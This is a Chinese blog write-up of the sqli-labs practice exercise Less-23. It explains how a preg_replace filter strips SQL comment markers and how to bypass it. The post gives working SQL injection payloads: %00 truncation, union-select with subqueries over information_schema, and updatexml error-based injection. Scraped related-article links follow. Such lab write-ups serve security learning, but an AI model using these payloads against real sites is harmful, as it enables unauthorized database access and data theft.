Less-23:

  直接跳到Less-23的原因是,Less-(11~22)均为注入点不为get方式的注入。我先把get型注入写的差不多,再回来整理关于注入点的内容。

 核心语句:

 

 查询、报错均有回显。

  本题$sql及后面部分都与Less-1无异。然而,前面多了一些部分,起了过滤的作用。

  要了解这些过滤,我们先要了解正则表达式。

  

正则表达式是一种描述字符串结果的语法规则,可以进行匹配、替换、截取等操作。

  要写一个正则表达式,我们先要规定它的边界。

  在本Less接触的正则表达式边界可用/text/  #text#  ~text~ 三种。

  preg_replace($reg,$replace,$id) 是一个正则替换函数,其中$reg必须是正则表达式。

  当$reg为/text/  #text#  ~text~形式时,其会将id中所有满足text的文本替换为reg

    eg: $reg='/mmm/'

       $replace=www''

       $id='emmmm'

       preg_replace(..)='ewwwm'

   其他正则表达式的内容(通用原子、元字符、修饰符、正则表达函数等)我们遇到再写。

  由上可知,本题中,我们的注释符--+和#均被禁用了。

  面对这个问题,有多种解决方法:

    1. %00截断

      直接将注释符换为 %00,一切照旧就行了。至于为什么可以,我现在也不知道。它的适用范围,我也不知道。我暂且将它作为一种偷懒的方法。

    eg: -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(); %00

    

    2. 语句屏蔽

      既然无法直接注释后面,那么我们只能另辟蹊径。由于我们需要闭合引号后注入命令,注释的意义主要在于干掉语句中原有的后一个单引号,即让键入 ?id=1'时 不报错。

      我们可以构造一些无意义的句子来闭合。

      eg:?id=1' or '0'='1

        这样,$sql就成了: SELECT * FROM users WHERE id='1' or '0'='1' LIMIT 0,1     ;

        注意,此处不要写 1' or '1'='1; 这样where子句永远为真,查出的永远是第一个元素。

        但此时,再写id=1' order by x or '0'='1 不可用。

        mysql语句定义如下:

          <SELECT clause> [<FROM clause>] [<WHERE clause>] [<GROUP BY clause>] [<HAVING clause>] [<ORDER BY clause>] [<LIMIT clause>]

          然而,实际执行顺序并不是简单的从左向右/从右向左。

          它的执行顺序为:from -> where -> group by -> having -> order by -> select -> limit

        上述写法中的order by语句实际上在where子句中,而不是一个独立的子句,没有作用。即,这种注释并没有给我们创造出写新的子句的位置。

      怎么办呢?

      方法1:直接使用select语句。(但是,列数得慢慢试了)

      eg:?id=1' union select 1,2,3 '

        这样,$sql就成了: SELECT * FROM users WHERE id='1' union select 1,2,3 '' LIMIT 0,1; 回显成功。

        我们将3改为database(),依然可用;但我们再改为group_concat(table_name) from information_schema.tables where table_schema=database()时,就报错了。

          想想也应该会报错;要是直接就行了,Less-(1~4)里其实我们连注释都不需要了。

          一个可用的修改方式为:(select group_concat(table_name) from information_schema.tables where table_schema=database())

        为什么可以?

        看下上述sql语句:

         错误: SELECT * FROM users WHERE id='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() '' LIMIT 0,1;

         正确1: SELECT * FROM users WHERE id='1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) '' LIMIT 0,1;

         正确2: SELECT * FROM users WHERE id='1' union select 1,2,database() '' LIMIT 0,1;

         错误2: SELECT 1,2,3 from users '' limit 0,1;

         正确3: SELECT 1,2,(select group_concat(3) from users) '' limit 0,1;

         我先将其理解为:若查询语句完全没有跟随其他字句,后面加 '' 依然正确 ; 否则错误。

      方法2:报错注入。

          之前从?id=1' or '0'='1切换成?id=1' union select 1,2,3 '  时,我一开始其实切换的是?id=1' union select 1,2,3 or '0'='1

          但是,这样会导致3 or '0'='1 构成一个查询的列, 这个点恒回显1,反而妨碍了注入。

          但这,再结合之前id=1' order by x or '0'='1的失败,给了我们启示:能不能构造一个语句,使得or不属于子句,也不属于列,而是分割两个操作呢?

         这里直接给出payload:

          ?id=-1' and updatexml(1,concat(0x7e,(select(database()))),1) and '1'='1

           修改select中的内容,即可继续注入。

(终于结束了)

(这题真长啊)

Less-23 preg_replace1的更多相关文章

  1. Java开发中的23种设计模式详解

    [放弃了原文访问者模式的Demo,自己写了一个新使用场景的Demo,加上了自己的理解] [源码地址:https://github.com/leon66666/DesignPattern] 一.设计模式 ...

  2. ILJMALL project过程中遇到Fragment嵌套问题:IllegalArgumentException: Binary XML file line #23: Duplicate id

    出现场景:当点击"分类"再返回"首页"时,发生error退出   BUG描述:Caused by: java.lang.IllegalArgumentExcep ...

  3. CSharpGL(23)用ComputeShader实现一个简单的ParticleSimulator

    CSharpGL(23)用ComputeShader实现一个简单的ParticleSimulator 我还没有用过Compute Shader,所以现在把红宝书里的例子拿来了,加入CSharpGL中. ...

  4. ABP(现代ASP.NET样板开发框架)系列之23、ABP展现层——异常处理

    点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之23.ABP展现层——异常处理 ABP是“ASP.NET Boilerplate Project (ASP.NET ...

  5. Java开发中的23种设计模式详解(转)

    设计模式(Design Patterns) ——可复用面向对象软件的基础 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了 ...

  6. C#得到某月最后一天晚上23:59:59和某月第一天00:00:00

    项目需求: 某学校订单截止操作时间的上一个月最后一天晚上23:59:59 为止所有支付的订单统计: 代码: /// <summary> /// 通过学校和截止时间得到订单 /// < ...

  7. C#开发微信门户及应用(23)-微信小店商品管理接口的封装和测试

    在上篇<C#开发微信门户及应用(22)-微信小店的开发和使用>里面介绍了一些微信小店的基础知识,以及对应的对象模型,本篇继续微信小店的主题,介绍其中API接口的封装和测试使用.微信小店的相 ...

  8. [转载]IIS7报500.23错误的解决方法

    原文出处: 原文作者:pizibaidu 原文链接:http://pizibaidu.blog.51cto.com/1361909/1794446 背景:今天公司终端上有一个功能打开异常,报500错误 ...

  9. [MySQL Reference Manual] 23 Performance Schema结构

    23 MySQL Performance Schema 23 MySQL Performance Schema 23.1 性能框架快速启动 23.2 性能框架配置 23.2.1 性能框架编译时配置 2 ...

  10. Error:failed to find Build Tools revision 23.0.0 rc3

    解决,选择AS里有的版本就可以了,已有的我这就一个23.0.3,导入的项目是23.0.2 Donate:)

随机推荐

  1. VS Code闪现,巨头纷纷入局的Web IDE缘何崛起?

    我发了,我装的. 就在前几天,微软简短的发布了Visual Studio Code for the Web 的公告,而没过一阵,这则公告就被删除了,现在点经相关内容已经是404状态了.虽然公告的内容已 ...

  2. Ubantu启动失败,提示“Started GNOME Display Manager”之后起不来了

    我是在搭建DPDK环境时,为了尝试下多网卡多列配置,将虚拟机的网卡类型由e1000改成了vxnet3类型.之后修改了下内存大小和CPU核数.然后启动ubantu虚拟机,结果无法成功启动,显示结果如下: ...

  3. Input 只能输入数字,数字和字母等的正则表达式

    JS只能输入数字,数字和字母等的正则表达式 1.文本框只能输入数字代码(小数点也不能输入) <input onkeyup="this.value=this.value.replace( ...

  4. 源码解读Dubbo分层设计思想

    一.Dubbo分层整体设计概述 我们先从下图开始简单介绍Dubbo分层设计概念: (引用自Duboo开发指南-框架设计文档) 如图描述Dubbo实现的RPC整体分10层:service.config. ...

  5. Python - poetry(2)命令介绍

    poetry 语法格式 poetry [-h] [-q] [-v [<...>]] [-V] [--ansi] [--no-ansi] [-n] <command> [< ...

  6. <input type="file">如何实现自定义样式

    利用样式覆盖来实现效果:先看下原本和改变后的样式 1 <!doctype html> 2 <html> 3 <head> 4 <title>file自定 ...

  7. C# windows服务知识集锦

    最近公司项目,本人也是刚接触windows服务,现在把这两天上网学习的一些资料拿出来与大家分享. 1).关于windows服务安装包的制作和自动启动服务 http://blog.csdn.net/re ...

  8. PHP中的数据库连接持久化

    数据库的优化是我们做web开发的重中之重,甚至很多情况下其实我们是在面向数据库编程.当然,用户的一切操作.行为都是以数据的形式保存下来的.在这其中,数据库的连接创建过程有没有什么可以优化的内容呢?答案 ...

  9. linux新安装了php,但是使用mysqli连接数据库一直超时

    centos7+mysql5.5+php5.6+nginx mysql php nginx都安装完成,然后启动了,网站也运行, 但是php文件中使用mysqli_connect时一直超时,有时也报错, ...

  10. Linux系列(25) - 常用快捷键(未更新完)

    快捷键 说明 Ctrl+L 清屏 tab tab按一次自动补全目录文件名称/tab按二次将目录下带有补全前面字段的所有文件目录展示出来,例子: cd /   tab键按两次将根目录下所有文件展示出来 ...